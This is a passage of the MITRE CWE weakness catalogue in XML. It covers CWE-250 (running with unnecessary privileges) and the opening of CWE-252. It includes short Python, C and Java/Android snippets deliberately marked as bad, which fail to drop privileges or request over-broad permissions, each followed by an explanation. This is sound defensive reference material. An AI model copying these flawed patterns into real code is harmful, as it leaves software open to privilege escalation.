            <xhtml:p>New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.</xhtml:p>
            <xhtml:p>Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</xhtml:p>
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Installation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>
                  <xhtml:p>If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.</xhtml:p>
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</Description>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-11.7">
               <Method>Black Box</Method>
               <Description>
                  <xhtml:p>Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.</xhtml:p>
               </Description>
               <Effectiveness_Notes>Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Compare binary / bytecode to application permission manifest</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host Application Interface Scanner</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                           <xhtml:li>Permission Manifest Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-18">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-18">
               <Phase>Architecture and Design</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-19">
               <Phase>Implementation</Phase>
               <Description>When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-37">
               <Phase>Operation</Phase>
               <Phase>System Configuration</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-126">
               <Intro_Text>This code temporarily raises the program's privileges to allow creation of a new user folder.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>def makeNewUserDir(username):<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if invalidUsername(username):<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>#avoid CWE-22 and CWE-78</xhtml:i>
                                 <xhtml:br/>print('Usernames cannot contain invalid characters')<xhtml:br/>return False</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>try:<xhtml:div style="margin-left:1em;">raisePrivileges()<xhtml:br/>os.mkdir('/home/' + username)<xhtml:br/>lowerPrivileges()</xhtml:div>
                           <xhtml:br/>except OSError:<xhtml:div style="margin-left:1em;">print('Unable to create new user directory for user:' + username)<xhtml:br/>return False</xhtml:div>
                           <xhtml:br/>return True</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>chroot(APP_HOME);<xhtml:br/>chdir("/");<xhtml:br/>FILE* data = fopen(argv[1], "r+");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This application intends to use a user's location to determine the timezone the user is in:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>locationClient = new LocationClient(this, this, this);<xhtml:br/>locationClient.connect();<xhtml:br/>Location userCurrLocation;<xhtml:br/>userCurrLocation = locationClient.getLastLocation();<xhtml:br/>setTimeZone(userCurrLocation);</xhtml:div>
               </Example_Code>
               <Body_Text>This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-111">
               <Intro_Text>This code uses location to determine the user's current US State location.</Intro_Text>
               <Body_Text>First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:</Body_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>locationClient = new LocationClient(this, this, this);<xhtml:br/>locationClient.connect();<xhtml:br/>Location userCurrLocation;<xhtml:br/>userCurrLocation = locationClient.getLastLocation();<xhtml:br/>deriveStateFromCoords(userCurrLocation);</xhtml:div>
               </Example_Code>
               <Body_Text>While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-4217</Reference>
               <Description>FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4217</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1877</Reference>
               <Description>Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1877</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5159</Reference>
               <Description>OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5159</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4638</Reference>
               <Description>Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4638</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0162</Reference>
               <Description>Program does not drop privileges before calling another program, allowing code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0162</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0368</Reference>
               <Description>setuid root program allows creation of arbitrary files through command line argument.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0368</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3931</Reference>
               <Description>Installation script installs some programs as setuid when they shouldn't be.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3931</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-3812</Reference>
               <Description>mail program runs as root but does not drop its privileges before attempting to access a file. Attacker can use a symlink from their home directory to a directory only readable by root, then determine whether the file exists based on the response.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-3812</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Often Misused: Privilege Management</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER09-J</Entry_ID>
               <Entry_Name>Minimize privileges before deserializing from a privilege context</Entry_Name>
            </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-4</Entry_ID>
	     <Entry_Name>Req SP.03.05 BR</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-4</Entry_ID>
	     <Entry_Name>Req SP.03.08 BR</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-4</Entry_ID>
	     <Entry_Name>Req SP.03.08 RE(1)</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-4</Entry_ID>
	     <Entry_Name>Req SP.05.07 BR</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-4</Entry_ID>
	     <Entry_Name>Req SP.09.02 RE(4)</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-4</Entry_ID>
	     <Entry_Name>Req SP.09.03 BR</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 2-4</Entry_ID>
	     <Entry_Name>Req SP.09.04 BR</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
	     <Entry_Name>Req SR 1.1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
	     <Entry_Name>Req SR 1.2</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
	     <Entry_Name>Req SR 2.1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
	     <Entry_Name>Req SR 2.1 RE 1</Entry_Name>
	   </Taxonomy_Mapping>
           <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
             <Entry_Name>Req SD-4</Entry_Name>
           </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
	     <Entry_Name>Req CCSC 3</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
	     <Entry_Name>Req CR 1.1</Entry_Name>
	   </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="104"/>
            <Related_Attack_Pattern CAPEC_ID="470"/>
            <Related_Attack_Pattern CAPEC_ID="69"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 7, &#34;Running with Least Privilege&#34; Page 207"/>
            <Reference External_Reference_ID="REF-199"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 16: Executing Code With Too Much Privilege.&#34; Page 243"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Privilege Vulnerabilities&#34;, Page 477"/>
         </References>
         <Notes>
            <Note Type="Relationship">There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.</Note>
            <Note Type="Maintenance">CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.</Note>
	    <Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Modes_of_Introduction, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Detection_Factors, Observed_Examples, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-01-30">Often Misused: Privilege Management</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Failure to Use Least Privilege</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="252" Name="Unchecked Return Value" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.</Description>
         <Extended_Description>Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the product is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1003" Ordinal="Primary"/>
